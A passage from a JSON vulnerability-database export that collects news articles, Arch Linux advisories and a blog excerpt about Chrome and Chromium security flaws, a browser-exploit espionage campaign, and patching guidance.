"AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "thn": [{"lastseen": "2020-02-25T12:10:36", "bulletinFamily": "info", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "[](<https://1.bp.blogspot.com/-TpSAclc1CUY/XlUH-042UlI/AAAAAAAA2a8/rZXeX3W340I8FcHae_U9qtF8muP0p7aUQCLcBGAsYHQ/s728-e100/chrome-browser-software-update.jpg>)\n\nGoogle yesterday released a new critical software update for its Chrome web browser for desktops that will be rolled out to Windows, Mac, and Linux users over the next few days. \n \nThe latest Chrome 80.0.3987.122 includes security fixes for [three new vulnerabilities](<https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html>), all of which have been marked 'HIGH' in severity, including one that (CVE-2020-6418) has been reportedly exploited in the wild. \n \nThe brief description of the Chrome bugs, which impose a significant risk to your systems if left unpatched, are as follows: \n \n\n\n * **Integer overflow in ICU** \u2014 Reported by Andr\u00e9 Bargull on 2020-01-22\n * **Out of bounds memory access in streams (CVE-2020-6407)** \u2014 Reported by Sergei Glazunov of Google Project Zero on 2020-01-27\n * **Type confusion in V8 (CVE-2020-6418) **\u2014 Reported by Clement Lecigne of Google's Threat Analysis Group on 2020-02-18\n \n\n\n \nThe Integer Overflow vulnerability was disclosed by Andr\u00e9 Bargull privately to Google last month, earning him $5,000 in rewards, while the other two vulnerabilities \u2014 CVE-2020-6407 and CVE-2020-6418 \u2014 were identified by experts from the Google security team. \n \nGoogle has said CVE-2020-6418, which stems from a type confusion error in its V8 JavaScript rendering engine, is being actively exploited, although technical information about the vulnerability is restricted at this time. \n \nThe search giant has not disclosed further details of the vulnerabilities so that it gives affected users enough time to install the Chrome update and prevent hackers from exploiting them. \n \nA successful exploitation of the integer overflow or out-of-bounds write flaws could allow a remote attacker to compromise a vulnerable system by tricking the user into visiting a specially crafted web page that takes advantage of the exploit to execute arbitrary code on the target system. \n \nIt's recommended that Windows, Linux, and macOS users [download and install the latest version](<https://support.google.com/chrome/answer/95414?co=GENIE.Platform%3DDesktop&hl=en>) of Chrome by heading to Help > \"About Chrome\" from the settings menu.\n", "modified": "2020-02-25T11:47:01", "published": "2020-02-25T11:47:00", "id": "THN:DC209DD441842FCD2682680F22D67854", "href": "https://thehackernews.com/2020/02/google-chrome-zero-day.html", "type": "thn", "title": "Install Latest Chrome Update to Patch 0-Day Bug Under Active Attacks", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-30T14:16:15", "bulletinFamily": "info", "cvelist": ["CVE-2019-5782", "CVE-2020-0674"], "description": "[](<https://thehackernews.com/images/-lGU_76af9Oc/X5vnff8DUGI/AAAAAAAAA8M/GaperOc3DdAyM6k4RsGoEoxwA6ZJFhInACLcBGAsYHQ/s0/malware-attack-1.jpg>)\n\nCybersecurity researchers have disclosed details about a new watering hole attack targeting the Korean diaspora that exploits vulnerabilities in web browsers such as Google Chrome and Internet Explorer to deploy malware for espionage purposes.\n\nDubbed \"[Operation Earth Kitsune](<https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-earth-kitsune-tracking-slub-s-current-operations>)\" by Trend Micro, the campaign involves the use of SLUB (for SLack and githUB) malware and two new backdoors \u2014 [dneSpy and agfSpy](<https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html>) \u2014 to exfiltrate system information and gain additional control of the compromised machine.\n\nThe attacks were observed during the months of March, May, and September, according to the cybersecurity firm.\n\nWatering hole attacks allow a bad actor to compromise a targeted business by compromising a carefully selected website by inserting an exploit with an intention to gain access to the victim's device and infect it with malware.\n\nOperation Earth Kitsune is said to have deployed the spyware samples on websites associated with North Korea, although access to these websites is blocked for users originating from South Korean IP addresses.\n\n### A Diversified Campaign\n\nAlthough [previous operations](<https://www.trendmicro.com/en_us/research/19/c/new-slub-backdoor-uses-github-communicates-via-slack.html>) involving SLUB used the GitHub repository platform to download malicious code snippets onto the Windows system and post the results of the execution to an attacker-controlled private Slack channel, the latest iteration of the malware has targeted Mattermost, a Slack-like open-source collaborative messaging system.\n\n\"The campaign is very diversified, deploying numerous samples to the victim machines and using multiple command-and-control (C&C) servers during this operation,\" Trend Micro said. \"In total, we found the campaign using five C&C servers, seven samples, and exploits for four N-day bugs.\"\n\n[](<https://thehackernews.com/images/-qwc1GInxKHU/X5vnjKQG_iI/AAAAAAAAA8Q/a5Q1QUVA-Jw42xkwrXF7PHDbSGOfqFtfACLcBGAsYHQ/s0/malware-attack.jpg>)\n\nDesigned to skip systems that have security software installed on them as a means to thwart detection, the attack weaponizes an already patched Chrome vulnerability (CVE-2019-5782) that allows an attacker to execute arbitrary code inside a sandbox via a specially-crafted HTML page.\n\nSeparately, a vulnerability in Internet Explorer (CVE-2020-0674) was also used to deliver malware via the compromised websites.\n\n### dneSpy and agfSpy \u2014 Fully Functional Espionage Backdoors\n\nThe difference in the infection vector notwithstanding, the exploit chain proceeds through the same sequence of steps \u2014 initiate a connection with the C&C server, receive the dropper, which then checks for the presence of anti-malware solutions on the target system before proceeding to download the three backdoor samples (in \".jpg\" format) and executing them.\n\nWhat's changed this time around is the use of Mattermost server to keep track of the deployment across multiple infected machines, in addition to creating an individual channel for each machine to retrieve the collected information from the infected host.\n\nOf the other two backdoors, dneSpy, and agfSpy, the former is engineered to amass system information, capture screenshots, and download and execute malicious commands received from the C&C server, the results of which are zipped, encrypted, and exfiltrated to the server.\n\n\"One interesting aspect of dneSpy's design is its C&C pivoting behavior,\" Trend Micro researchers said. \"The central C&C server's response is actually the next-stage C&C server's domain/IP, which dneSpy has to communicate with to receive further instructions.\"\n\nagfSpy, dneSpy's counterpart, comes with its own C&C server mechanism that it uses to fetch shell commands and send the execution results back. Chief among its features include the capability to enumerate directories and list, upload, download, and execute files.\n\n\"Operation Earth Kitsune turned out to be complex and prolific, thanks to the variety of components it uses and the interactions between them,\" the researchers concluded. \"The campaign's use of new samples to avoid detection by security products is also quite notable.\"\n\n\"From the Chrome exploit shellcode to the agfSpy, elements in the operation are custom coded, indicating that there is a group behind this operation. This group seems to be highly active this year, and we predict that they will continue going in this direction for some time.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "modified": "2020-10-30T12:24:21", "published": "2020-10-30T10:22:00", "id": "THN:0779D6845791AA6EB3C4ABB49D44DCC1", "href": "https://thehackernews.com/2020/10/browser-exploit-backdoor.html", "type": "thn", "title": "Browser Bugs Exploited to Install 2 New Backdoors on Targeted Computers", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}], "archlinux": [{"lastseen": "2020-09-22T18:36:39", "bulletinFamily": "unix", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "Arch Linux Security Advisory ASA-202002-11\n==========================================\n\nSeverity: High\nDate : 2020-02-25\nCVE-ID : CVE-2020-6407 CVE-2020-6418\nPackage : chromium\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-1102\n\nSummary\n=======\n\nThe package chromium before version 80.0.3987.122-1 is vulnerable to\nmultiple issues including arbitrary code execution and information\ndisclosure.\n\nResolution\n==========\n\nUpgrade to 80.0.3987.122-1.\n\n# pacman -Syu \"chromium>=80.0.3987.122-1\"\n\nThe problems have been fixed upstream in version 80.0.3987.122.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2020-6407 (information disclosure)\n\nAn out-of-bounds memory access vulnerability has been found in the\nstreams component of chromium before 80.0.3987.122.\n\n- CVE-2020-6418 (arbitrary code execution)\n\nA type confusion vulnerability has been found in the V8 component of\nchromium before 80.0.3987.122.\n\nImpact\n======\n\nA remote attacker can access sensitive information or execute arbitrary\ncode on the affected host.\n\nReferences\n==========\n\nhttps://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html\nhttps://crbug.com/1045931\nhttps://crbug.com/1053604\nhttps://security.archlinux.org/CVE-2020-6407\nhttps://security.archlinux.org/CVE-2020-6418", "modified": "2020-02-25T00:00:00", "published": "2020-02-25T00:00:00", "id": "ASA-202002-11", "href": "https://security.archlinux.org/ASA-202002-11", "type": "archlinux", "title": "[ASA-202002-11] chromium: multiple issues", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-09-22T18:36:43", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5083", "CVE-2017-5088", "CVE-2017-5089"], "description": "Arch Linux Security Advisory ASA-201707-4\n=========================================\n\nSeverity: Critical\nDate : 2017-07-04\nCVE-ID : CVE-2017-5070 CVE-2017-5071 CVE-2017-5075 CVE-2017-5076\nCVE-2017-5077 CVE-2017-5078 CVE-2017-5079 CVE-2017-5083\nCVE-2017-5088 CVE-2017-5089\nPackage : qt5-webengine\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-339\n\nSummary\n=======\n\nThe package qt5-webengine before version 5.9.1-1 is vulnerable to\nmultiple issues including arbitrary code execution, arbitrary command\nexecution, information disclosure and content spoofing.\n\nResolution\n==========\n\nUpgrade to 5.9.1-1.\n\n# pacman -Syu \"qt5-webengine>=5.9.1-1\"\n\nThe problems have been fixed upstream in version 5.9.1.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2017-5070 (arbitrary code execution)\n\nA type confusion flaw has been found in the V8 component of the\nChromium browser.\n\n- CVE-2017-5071 (information disclosure)\n\nAn out of bounds read flaw has been found in the V8 component of the\nChromium browser.\n\n- CVE-2017-5075 (information disclosure)\n\nAn information leak flaw has been found in the CSP reporting component\nof the Chromium browser.\n\n- CVE-2017-5076 (content spoofing)\n\nAn address spoofing flaw has been found in the Omnibox component of the\nChromium browser.\n\n- CVE-2017-5077 (arbitrary code execution)\n\nA heap buffer overflow flaw was found in the Skia component of the\nChromium browser.\n\n- CVE-2017-5078 (arbitrary command execution)\n\nA possible command injection flaw has been found in the mailto handling\ncomponent of the Chromium browser.\n\n- CVE-2017-5079 (content spoofing)\n\nA UI spoofing flaw has been found in the Blink component of the\nChromium browser.\n\n- CVE-2017-5083 (content spoofing)\n\nA UI spoofing flaw has been found in the Blink component of the\nChromium browser.\n\n- CVE-2017-5088 (information disclosure)\n\nAn out-of-bounds read vulnerability has been found in the V8 component\nof the Chromium browser < 59.0.3071.104.\n\n- CVE-2017-5089 (content spoofing)\n\nA domain spoofing vulnerability has been found in the Omnibox component\nof the Chromium browser < 59.0.3071.104.\n\nImpact\n======\n\nA remote attacker can access sensitive information, spoof content and\nexecute arbitrary code and commands on the affected host.\n\nReferences\n==========\n\nhttps://github.com/qt/qtwebengine/blob/5.9.1/dist/changes-5.9.1\nhttps://chromereleases.googleblog.com/2017/06/stable-channel-update-for-desktop.html\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=722756\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=715582\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=678776\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=719199\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=716311\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=711020\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=713686\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=714849\nhttps://chromereleases.googleblog.com/2017/06/stable-channel-update-for-desktop_15.html\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=729991\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=714196\nhttps://security.archlinux.org/CVE-2017-5070\nhttps://security.archlinux.org/CVE-2017-5071\nhttps://security.archlinux.org/CVE-2017-5075\nhttps://security.archlinux.org/CVE-2017-5076\nhttps://security.archlinux.org/CVE-2017-5077\nhttps://security.archlinux.org/CVE-2017-5078\nhttps://security.archlinux.org/CVE-2017-5079\nhttps://security.archlinux.org/CVE-2017-5083\nhttps://security.archlinux.org/CVE-2017-5088\nhttps://security.archlinux.org/CVE-2017-5089", "modified": "2017-07-04T00:00:00", "published": "2017-07-04T00:00:00", "id": "ASA-201707-4", "href": "https://security.archlinux.org/ASA-201707-4", "type": "archlinux", "title": "[ASA-201707-4] qt5-webengine: multiple issues", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-09-22T18:36:43", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5070", "CVE-2017-5071", "CVE-2017-5072", "CVE-2017-5073", "CVE-2017-5074", "CVE-2017-5075", "CVE-2017-5076", "CVE-2017-5077", "CVE-2017-5078", "CVE-2017-5079", "CVE-2017-5080", "CVE-2017-5081", "CVE-2017-5082", "CVE-2017-5083", "CVE-2017-5085", "CVE-2017-5086"], "description": "Arch Linux Security Advisory ASA-201706-8\n=========================================\n\nSeverity: Critical\nDate : 2017-06-07\nCVE-ID : CVE-2017-5070 CVE-2017-5071 CVE-2017-5072 CVE-2017-5073\nCVE-2017-5074 CVE-2017-5075 CVE-2017-5076 CVE-2017-5077\nCVE-2017-5078 CVE-2017-5079 CVE-2017-5080 CVE-2017-5081\nCVE-2017-5082 CVE-2017-5083 CVE-2017-5085 CVE-2017-5086\nPackage : chromium\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-289\n\nSummary\n=======\n\nThe package chromium before version 59.0.3071.86-1 is vulnerable to\nmultiple issues including arbitrary code execution, arbitrary command\nexecution, authentication bypass, content spoofing, information\ndisclosure, cross-site scripting and insufficient validation.\n\nResolution\n==========\n\nUpgrade to 59.0.3071.86-1.\n\n# pacman -Syu \"chromium>=59.0.3071.86-1\"\n\nThe problems have been fixed upstream in version 59.0.3071.86.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2017-5070 (arbitrary code execution)\n\nA type confusion flaw has been found in the V8 component of the\nChromium browser.\n\n- CVE-2017-5071 (information disclosure)\n\nAn out of bounds read flaw has been found in the V8 component of the\nChromium browser.\n\n- CVE-2017-5072 (content spoofing)\n\nAn address spoofing flaw has been found in the Omnibox component of the\nChromium browser.\n\n- CVE-2017-5073 (arbitrary code execution)\n\nA use-after-free flaw has been found in the print preview component of\nthe Chromium browser.\n\n- CVE-2017-5074 (arbitrary code execution)\n\nA use-after-free flaw has been found in the Apps Bluetooth component of\nthe Chromium browser.\n\n- CVE-2017-5075 (information disclosure)\n\nAn information leak flaw has been found in the CSP reporting component\nof the Chromium browser.\n\n- CVE-2017-5076 (content spoofing)\n\nAn address spoofing flaw has been found in the Omnibox component of the\nChromium browser.\n\n- CVE-2017-5077 (arbitrary code execution)\n\nA heap buffer overflow flaw was found in the Skia component of the\nChromium browser.\n\n- CVE-2017-5078 (arbitrary command execution)\n\nA possible command injection flaw has been found in the mailto handling\ncomponent of the Chromium browser.\n\n- CVE-2017-5079 (content spoofing)\n\nA UI spoofing flaw has been found in the Blink component of the\nChromium browser.\n\n- CVE-2017-5080 (arbitrary code execution)\n\nA use-after-free flaw has been found in the credit card autofill\ncomponent of the Chromium browser.\n\n- CVE-2017-5081 (authentication bypass)\n\nA extension verification bypass has been found in the Chromium browser.\n\n- CVE-2017-5082 (insufficient validation)\n\nAn insufficient hardening flaw has been found in the credit card editor\ncomponent of the Chromium browser.\n\n- CVE-2017-5083 (content spoofing)\n\nA UI spoofing flaw has been found in the Blink component of the\nChromium browser.\n\n- CVE-2017-5085 (cross-site scripting)\n\nA security issue has been found in the Chromium browser, where\njavascript is inappropriately executed on WebUI pages\n\n- CVE-2017-5086 (content spoofing)\n\nAn address spoofing flaw has been found in the Omnibox component of the\nChromium browser.\n\nImpact\n======\n\nA remote attacker can access sensitive information, spoof content,\nbypass security measures and execute arbitrary code and commands on the\naffected host.\n\nReferences\n==========\n\nhttps://chromereleases.googleblog.com/2017/06/stable-channel-update-for-desktop.html\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=722756\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=715582\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=709417\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=716474\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=700040\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=678776\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=719199\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=716311\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=711020\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=713686\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=708819\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=672008\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=721579\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=714849\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=692378\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=722639\nhttps://security.archlinux.org/CVE-2017-5070\nhttps://security.archlinux.org/CVE-2017-5071\nhttps://security.archlinux.org/CVE-2017-5072\nhttps://security.archlinux.org/CVE-2017-5073\nhttps://security.archlinux.org/CVE-2017-5074\nhttps://security.archlinux.org/CVE-2017-5075\nhttps://security.archlinux.org/CVE-2017-5076\nhttps://security.archlinux.org/CVE-2017-5077\nhttps://security.archlinux.org/CVE-2017-5078\nhttps://security.archlinux.org/CVE-2017-5079\nhttps://security.archlinux.org/CVE-2017-5080\nhttps://security.archlinux.org/CVE-2017-5081\nhttps://security.archlinux.org/CVE-2017-5082\nhttps://security.archlinux.org/CVE-2017-5083\nhttps://security.archlinux.org/CVE-2017-5085\nhttps://security.archlinux.org/CVE-2017-5086", "modified": "2017-06-07T00:00:00", "published": "2017-06-07T00:00:00", "id": "ASA-201706-8", "href": "https://security.archlinux.org/ASA-201706-8", "type": "archlinux", "title": "[ASA-201706-8] chromium: multiple issues", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-09-22T18:36:40", "bulletinFamily": "unix", "cvelist": ["CVE-2019-5754", "CVE-2019-5755", "CVE-2019-5756", "CVE-2019-5757", "CVE-2019-5758", "CVE-2019-5759", "CVE-2019-5760", "CVE-2019-5761", "CVE-2019-5762", "CVE-2019-5763", "CVE-2019-5764", "CVE-2019-5765", "CVE-2019-5766", "CVE-2019-5767", "CVE-2019-5768", "CVE-2019-5769", "CVE-2019-5770", "CVE-2019-5771", "CVE-2019-5772", "CVE-2019-5773", "CVE-2019-5774", "CVE-2019-5775", "CVE-2019-5776", "CVE-2019-5777", "CVE-2019-5778", "CVE-2019-5779", "CVE-2019-5780", "CVE-2019-5781", "CVE-2019-5782", "CVE-2019-5783"], "description": "Arch Linux Security Advisory ASA-201902-3\n=========================================\n\nSeverity: Critical\nDate : 2019-02-11\nCVE-ID : CVE-2019-5754 CVE-2019-5755 CVE-2019-5756 CVE-2019-5757\nCVE-2019-5758 CVE-2019-5759 CVE-2019-5760 CVE-2019-5761\nCVE-2019-5762 CVE-2019-5763 CVE-2019-5764 CVE-2019-5765\nCVE-2019-5766 CVE-2019-5767 CVE-2019-5768 CVE-2019-5769\nCVE-2019-5770 CVE-2019-5771 CVE-2019-5772 CVE-2019-5773\nCVE-2019-5774 CVE-2019-5775 CVE-2019-5776 CVE-2019-5777\nCVE-2019-5778 CVE-2019-5779 CVE-2019-5780 CVE-2019-5781\nCVE-2019-5782 CVE-2019-5783\nPackage : chromium\nType : multiple issues\nRemote : Yes\nLink : https://security.archlinux.org/AVG-861\n\nSummary\n=======\n\nThe package chromium before version 72.0.3626.81-1 is vulnerable to\nmultiple issues including arbitrary code execution, access restriction\nbypass, content spoofing and insufficient validation.\n\nResolution\n==========\n\nUpgrade to 72.0.3626.81-1.\n\n# pacman -Syu \"chromium>=72.0.3626.81-1\"\n\nThe problems have been fixed upstream in version 72.0.3626.81.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2019-5754 (arbitrary code execution)\n\nA security issue has been found in the QUIC implementation of the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5755 (arbitrary code execution)\n\nA security issue has been found in the V8 implementation of the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5756 (arbitrary code execution)\n\nA use after free issue has been found in the PDFium component of the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5757 (arbitrary code execution)\n\nA type confusion issue has been found in the SVG implementation in the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5758 (arbitrary code execution)\n\nA use after free issue has been found in the blink component of the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5759 (arbitrary code execution)\n\nA use after free issue has been found in the HTML select elements\ncomponent of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5760 (arbitrary code execution)\n\nA use after free issue has been found in the WebRTC implementation in\nthe chromium browser before 72.0.3626.81.\n\n- CVE-2019-5761 (arbitrary code execution)\n\nA use after free issue has been found in the SwiftShader component of\nthe chromium browser before 72.0.3626.81.\n\n- CVE-2019-5762 (arbitrary code execution)\n\nA use after free issue has been found in the PDFium component of the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5763 (arbitrary code execution)\n\nA security issue has been found in the V8 implementation of the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5764 (arbitrary code execution)\n\nA use-after-free vulnerability has been found in the WebRTC component\nof the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5765 (access restriction bypass)\n\nAn insufficient policy enforcement issue has been found in the chromium\nbrowser before 72.0.3626.81.\n\n- CVE-2019-5766 (access restriction bypass)\n\nAn insufficient policy enforcement issue has been found in the Canvas\ncomponent of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5767 (content spoofing)\n\nAn incorrect security UI issue has been found in the WebAPKs component\nof the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5768 (access restriction bypass)\n\nAn insufficient policy enforcement issue has been found in the DevTools\ncomponent of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5769 (insufficient validation)\n\nAn insufficient validation of untrusted input issue has been found in\nthe Blink component of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5770 (arbitrary code execution)\n\nA heap-based buffer overflow vulnerability has been found in the WebGL\ncomponent of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5771 (arbitrary code execution)\n\nA heap-based buffer overflow vulnerability has been found in the\nSwiftShader component of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5772 (arbitrary code execution)\n\nA use-after-free vulnerability has been found in the PDFium component\nof the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5773 (insufficient validation)\n\nAn insufficient data validation issue has been found in the IndexedDB\ncomponent of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5774 (insufficient validation)\n\nAn insufficient validation of untrusted input issue has been found in\nthe SafeBrowsing component of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5775 (content spoofing)\n\nAn insufficient policy enforcement issue has been found in the OmniBox\ncomponent of the chromium browser before 72.0.3626.81, allowing IDN URL\nspoofing.\n\n- CVE-2019-5776 (content spoofing)\n\nAn insufficient policy enforcement issue has been found in the OmniBox\ncomponent of the chromium browser before 72.0.3626.81, allowing IDN URL\nspoofing.\n\n- CVE-2019-5777 (content spoofing)\n\nAn insufficient policy enforcement issue has been found in the OmniBox\ncomponent of the chromium browser before 72.0.3626.81, allowing IDN URL\nspoofing.\n\n- CVE-2019-5778 (access restriction bypass)\n\nAn insufficient policy enforcement issue has been found in the\nExtensions component of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5779 (access restriction bypass)\n\nAn insufficient policy enforcement issue has been found in the\nServiceWorker component of the chromium browser before 72.0.3626.81.\n\n- CVE-2019-5780 (access restriction bypass)\n\nA security issue has been found in the chromium browser before\n72.0.3626.81 leading to Insufficient policy enforcement.\n\n- CVE-2019-5781 (content spoofing)\n\nA security issue has been found in the Omnibox implementation of the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5782 (arbitrary code execution)\n\nA security issue has been found in the V8 implementation of the\nchromium browser before 72.0.3626.81.\n\n- CVE-2019-5783 (insufficient validation)\n\nAn insufficient validation of untrusted input issue has been found in\nthe DevTools component of the chromium browser before 72.0.3626.81.\n\nImpact\n======\n\nA remote attacker can spoof the URL in the address bar, bypass security\npolicies or execute arbitrary code.\n\nReferences\n==========\n\nhttps://chromereleases.googleblog.com/2019/01/stable-channel-update-for-desktop.html\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=914497\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=913296\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=895152\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=915469\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=913970\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=912211\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=912074\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=904714\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=900552\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=914731\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=913246\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=922627\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=907047\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=902427\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=805557\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=913975\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=908749\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=904265\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=908292\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=917668\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=904182\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=896722\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=863663\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=849421\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=918470\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=891697\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=896725\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=906043\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=895081\nhttps://security.archlinux.org/CVE-2019-5754\nhttps://security.archlinux.org/CVE-2019-5755\nhttps://security.archlinux.org/CVE-2019-5756\nhttps://security.archlinux.org/CVE-2019-5757\nhttps://security.archlinux.org/CVE-2019-5758\nhttps://security.archlinux.org/CVE-2019-5759\nhttps://security.archlinux.org/CVE-2019-5760\nhttps://security.archlinux.org/CVE-2019-5761\nhttps://security.archlinux.org/CVE-2019-5762\nhttps://security.archlinux.org/CVE-2019-5763\nhttps://security.archlinux.org/CVE-2019-5764\nhttps://security.archlinux.org/CVE-2019-5765\nhttps://security.archlinux.org/CVE-2019-5766\nhttps://security.archlinux.org/CVE-2019-5767\nhttps://security.archlinux.org/CVE-2019-5768\nhttps://security.archlinux.org/CVE-2019-5769\nhttps://security.archlinux.org/CVE-2019-5770\nhttps://security.archlinux.org/CVE-2019-5771\nhttps://security.archlinux.org/CVE-2019-5772\nhttps://security.archlinux.org/CVE-2019-5773\nhttps://security.archlinux.org/CVE-2019-5774\nhttps://security.archlinux.org/CVE-2019-5775\nhttps://security.archlinux.org/CVE-2019-5776\nhttps://security.archlinux.org/CVE-2019-5777\nhttps://security.archlinux.org/CVE-2019-5778\nhttps://security.archlinux.org/CVE-2019-5779\nhttps://security.archlinux.org/CVE-2019-5780\nhttps://security.archlinux.org/CVE-2019-5781\nhttps://security.archlinux.org/CVE-2019-5782\nhttps://security.archlinux.org/CVE-2019-5783", "modified": "2019-02-11T00:00:00", "published": "2019-02-11T00:00:00", "id": "ASA-201902-3", "href": "https://security.archlinux.org/ASA-201902-3", "type": "archlinux", "title": "[ASA-201902-3] chromium: multiple issues", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "qualysblog": [{"lastseen": "2021-02-11T22:27:16", "bulletinFamily": "blog", "cvelist": ["CVE-2019-2215", "CVE-2020-6418", "CVE-2020-9818", "CVE-2020-9819"], "description": "As mobile devices have become ubiquitous in almost every business process, whether in bank branches, manufacturing sites or retail stores, they are now hosting business applications and data that is subject to regulatory compliance and security. With access to critical corporate resources inside the corporate network, these mobile devices have become critical assets for the organization.\n\n### Mobile Attack Surface Challenges\n\nAlongside this trend, there has been a drastic rise in Android, iOS, and iPadOS vulnerabilities and an increased number of vulnerable apps distributed from authorized app stores. Through these vectors, mobile devices have become preferred targets for attackers to gain an entry point into corporate networks. Last year, for example, [900 million Apple iOS users were affected](<https://www.forbes.com/sites/gordonkelly/2020/05/13/apple-iphone-exploit-vulnerability-ios-13-mail-problem-update-iphone-11-pro-max-u-iphone-xs-max-xr-upgrade/?sh=45195bbc07b7>) by iOS mail app vulnerability CVE-2020-9819 and CVE-2020-9818 exploit. Zecops [demonstrated how to exploit](<https://blog.zecops.com/vulnerabilities/seeing-maildemons-technique-triggers-and-a-bounty/>) these vulnerabilities (MailDemon) by sending oversized email to victims\u2019 devices.\n\nIn another attack, Android mobile devices [were targeted](<https://www.zdnet.com/article/google-reveals-sophisticated-windows-android-hacking-operation/>) using the Google Chrome app vulnerability CVE-2020-6418, a type of bug that incorrectly implements relevant security checks. The attacker tricked victims into visiting a specially crafted web page that gave the attacker an initial foothold on the victim\u2019s device via their browser. The attacker then deployed OS-level vulnerability 